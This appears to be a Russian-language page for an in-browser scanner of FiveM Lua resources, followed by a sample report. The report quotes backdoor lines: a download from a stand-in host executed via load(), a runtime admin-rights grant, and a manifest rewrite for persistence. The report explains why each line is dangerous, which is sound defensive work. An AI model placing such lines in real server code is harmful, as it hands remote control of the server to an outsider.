Сканер бэкдоров

Перетащите resource, .zip или один файл и получите отметки на всех известных формах бэкдора: скачанный и выполненный код, спрятанные строки, выдача прав в рантайме и утечка секретов. Работает целиком в вашем браузере.

Файлы resource

Перетащите папку resource, .zip или файл .lua

Всё читается в вашем браузере. Ни один файл не загружается на сервер, поэтому это можно применять к платному скрипту, которому вы не доверяете.

.zip распаковывается в браузере. Читаются только текстовые файлы, до 400 штук.

Вставленное — этонеобязательно

Подсказывает сканеру, какой набор правил применять к вставленному фрагменту.

Или вставьте коднеобязательно

Удобно для отдельного handler, в котором вы не уверены. Сканируется вместе с перетащенными файлами.

Ничего не загружается на сервер. Файлы читаются и анализируются локально, а затем забываются, когда вы уходите со страницы.

1Generated with devtoolsgg.com2-- СВОДКА --------------------------------------------------------------3Файлов: 1   Строк: 134[X] 4 критический   [!] 2 высокий   [-] 0 средний   [.] 0 низкий56-- КРИТИЧЕСКИЙ (4) -----------------------------------------------------78[X] Скачивает код и выполняет его9    pasted.lua:210    > PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)1112    HTTP-запрос стоит в паре строк от вызова load(). Эта пара —13    удалённый shell: кто владеет URL, тот владеет вашим сервером.14    Опубликованные сканеры считают это однозначным сигналом.1516[X] assert(load(...)) выполняет строку как код17    pasted.lua:418    > assert(load(body))()1920    Самая распространённая форма бэкдора в FiveM. Любая строка, которая21    доходит до load(), выполняется с полными правами сервера. Отследите,22    откуда эта строка берётся; если она скачивается, декодируется или23    собирается в рантайме, считайте resource скомпрометированной.2425[X] Выдаёт права в рантайме26    pasted.lua:1027    > ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))2829    Resource выдаёт идентификатору права админа прямо во время работы30    сервера, поэтому в вашем permissions.cfg это никогда не появится.31    Посмотрите, какому идентификатору. Если не вашему — это бэкдор.3233[X] Переписывает fxmanifest34    pasted.lua:1335    > SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)3637    Правка manifest в рантайме добавляет скрипт в resource, не трогая38    файлы самого этого скрипта. Легитимных причин так делать нет.3940-- ВЫСОКИЙ (2) ---------------------------------------------------------4142[!] Исходящий HTTP-запрос43    pasted.lua:244    > PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)4546    Проверьте назначение. Проверка лицензии на домен самого автора — это47    нормально; запрос на домен, который вы не узнаёте, особенно если он48    несёт идентификаторы или конфиг, — нет.4950[!] Пишет файл resource в рантайме51    pasted.lua:1352    > SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)5354    Именно так бэкдор переживает перезапуск: он переписывает сам себя,55    другую resource или fxmanifest после того, как его вычистили.56    Задокументированное поведение семейств Blum Panel и Cipher.57    Посмотрите, какую resource и какой файл он пишет.5859-- НАХОДКИ ПО ФАЙЛАМ ---------------------------------------------------60   6  pasted.lua6162-- ПРИМЕЧАНИЕ ----------------------------------------------------------63Статические эвристики, а не доказательство: они отмечают формы, которые64обычно неправильны, и молчат о логике, которую не видят. Прочитайте65отмеченные строки, а затем сравните resource с оригинальным релизом её66автора.67

report67 строк, 2723 символов